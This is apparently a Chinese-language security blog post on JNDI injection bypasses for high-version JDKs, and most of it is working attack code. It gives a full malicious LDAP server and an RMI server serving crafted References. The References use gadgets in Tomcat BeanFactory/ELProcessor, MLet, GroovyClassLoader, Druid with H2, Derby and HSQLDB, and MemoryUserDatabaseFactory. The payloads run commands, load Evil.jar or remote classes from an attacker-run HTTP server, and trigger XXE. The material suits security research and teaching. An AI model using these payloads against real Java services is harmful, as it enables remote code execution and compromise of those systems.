EvilServer选择 LDAPServer 这个不用rmi用ladp也是可以的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.naming.Reference; import javax.naming.StringRefAddr; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.net.InetAddress; import java.util.ArrayList; import java.util.List; public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] args) { int port = 1099; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); e.addAttribute("javaClassName", "foo"); try { e.addAttribute("javaSerializedData", serialize(derby())); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Exception exception) { exception.printStackTrace(); } } } public static byte[] serialize(Object object) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); return byteArrayOutputStream.toByteArray(); } private static Reference derby(){ Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null); List<String> list = new ArrayList<>(); list.add("CALL SQLJ.INSTALL_JAR('http://127.0.0.1:7777/Evil.jar', 'APP.Evil', 0)"); list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil')"); list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'"); list.add("CALL cmd('calc')"); ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true")); ref.add(new StringRefAddr("init", "true")); ref.add(new StringRefAddr("initialSize", "1")); ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list))); return ref; } }
RMIServer 可以看下面这个ELProcessor的例子
基于BeanFactory 利用类的条件
JDK或者常用库的类
有public修饰的无参构造方法
public修饰的只有一个String.class类型参数的方法,且该方法可以造成漏洞
ELProcessor 先简单回顾一下这个。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIBypassHighJavaServerEL { public static void main(String[] args) throws Exception { System.out.println("[*]Evil RMI Server is Listening on port: 1099"); Registry registry = LocateRegistry.createRegistry(1099); ReferenceWrapper referenceWrapper = new ReferenceWrapper(tomcatEl()); registry.bind("Object", referenceWrapper); } private static ResourceRef tomcatEl() { ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); return ref; } }
MLet 这个可以用来进行gadget探测。因为这个地方只能load。但是不能实例化。
1 2 3 MLet mLet = new MLet(); mLet.addURL("http://127.0.0.1:2333/"); mLet.loadClass("Exploit");
1 2 3 4 5 6 7 8 9 private static ResourceRef tomcatMLet() { ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass")); ref.add(new StringRefAddr("a", "javax.el.ELProcessor")); ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/")); ref.add(new StringRefAddr("c", "Blue")); return ref; }
GroovyClassLoader 1 2 3 4 5 <dependency> <groupId>org.apache.groovy</groupId> <artifactId>groovy</artifactId> <version>4.0.21</version> </dependency>
1 2 3 4 5 6 7 8 private static ResourceRef tomcatGroovyClassLoader() { ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=addClasspath,b=loadClass")); ref.add(new StringRefAddr("a", "http://127.0.0.1:7777/")); ref.add(new StringRefAddr("b", "blue")); return ref; }
blue.groovy
1 2 @groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("calc")}) class Person{}
else 像这样可以利用的类还有很多。这里不再一一列举,比如
com.thoughtworks.xstream.XStream().fromXML(String)
com.alibaba.fastjson.JSON.parseObject(jsonString);
org.yaml.snakeyaml.Yaml().load(String)
修复 然而在高版本Tomcat中,移除了forceString
进行任意方法调用的机制,下图为Tomcat 8.5.79版本下的BeanFactory#getObjectInstance
方法,若在Reference中存在有forceString
则抛出异常
但是依旧可以调用任意set方法。
具体可以参考这个 https://xz.aliyun.com/news/16904
基于DruidDataSourceFactory 这个的一个特点就是initConnectionSqls可以执行一些sql语句,在一些需要通过执行sql才能达到rce效果的jdbcAttack中非常适用。
h2&druid 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private static Reference druid(){ Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('calc')\n" + "$$\n"; String JDBC_USER = "root"; String JDBC_PASSWORD = "password"; ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); ref.add(new StringRefAddr("url",JDBC_URL)); ref.add(new StringRefAddr("username",JDBC_USER)); ref.add(new StringRefAddr("password",JDBC_PASSWORD)); ref.add(new StringRefAddr("initialSize","1")); ref.add(new StringRefAddr("init","true")); return ref; }
DruidDataSourceFactory.getObjectInstance 简单概括就是从ref中获取一些配置信息后并通过setProperty进行一些配置后连接数据库。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { if (obj != null && obj instanceof Reference) { Reference ref = (Reference)obj; if (!"javax.sql.DataSource".equals(ref.getClassName()) && !"com.alibaba.druid.pool.DruidDataSource".equals(ref.getClassName())) { return null; } else { Properties properties = new Properties(); for(int i = 0; i < ALL_PROPERTIES.length; ++i) { String propertyName = ALL_PROPERTIES[i]; RefAddr ra = ref.get(propertyName); if (ra != null) { String propertyValue = ra.getContent().toString(); properties.setProperty(propertyName, propertyValue); } } return this.createDataSourceInternal(properties); } } else { return null; } }
derby&druid 1 2 3 4 5 6 7 8 9 10 11 12 13 14 private static Reference derby(){ List<String> list = new ArrayList<>(); list.add("CALL SQLJ.INSTALL_JAR('http://127.0.0.1:7777/Evil.jar', 'APP.Evil', 0)"); list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil')"); list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'"); list.add("CALL cmd('calc')"); Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null); ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true")); ref.add(new StringRefAddr("init", "true")); ref.add(new StringRefAddr("initialSize", "1")); ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list))); return ref; }
hsqldb&druid 可以结合这个打一打,但是触发jdbc attack后可以进行两种操作。可以反序列化,可以jndi注入。感觉有点鸡肋。https://github.com/mbadanoiu/CVE-2022-41853
1 2 3 4 5 6 7 8 9 10 11 12 13 private static Reference hsqldb(){ List<String> list = new ArrayList<>(); list.add("CALL \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true') + \"org.apache.commons.lang.SerializationUtils.deserialize\"(\"org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary\"('base64code'))"); list.add("CALL java.lang.System.setProperty\"('com.sun.jndi.ldap.object.trustURLCodebase','true') + \"javax.naming.InitialContext.doLookup\"('ldap://127.0.0.1:4444/pgesux')"); Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null); ref.add(new StringRefAddr("url", "jdbc:hsqldb:mem:.")); ref.add(new StringRefAddr("init", "true")); ref.add(new StringRefAddr("initialSize", "1")); ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list))); return ref; }
MemoryUserDatabaseFactory 这个factory是tomcat自带的。对应的getObjectInstance可以造成xxe。
XXE 1 2 3 4 5 6 private static ResourceRef tomcatManagerXEE() { ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); ref.add(new StringRefAddr("pathname", "http://127.0.0.1:7777/exp.xml")); return ref; }
exp.xml
1 2 3 4 <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % romote SYSTEM "http://127.0.0.1:7777/RequestFromXXE"> %romote;]> <root/>
1 2 3 4 5 D:\classes>python -m http.server 7777 Serving HTTP on :: port 7777 (http://[::]:7777/) ... ::ffff:127.0.0.1 - - [29/Mar/2025 18:16:33] "GET /exp.xml HTTP/1.1" 200 - ::ffff:127.0.0.1 - - [29/Mar/2025 18:16:33] code 404, message File not found ::ffff:127.0.0.1 - - [29/Mar/2025 18:16:33] "GET /RequestFromXXE HTTP/1.1" 404 -
还可以达到创建tomcat用户进而RCE的效果。但是在linux环境下需要结合基于BeanFactory创建文件夹。局限性比较大。
https://tttang.com/archive/1405/#toc_rce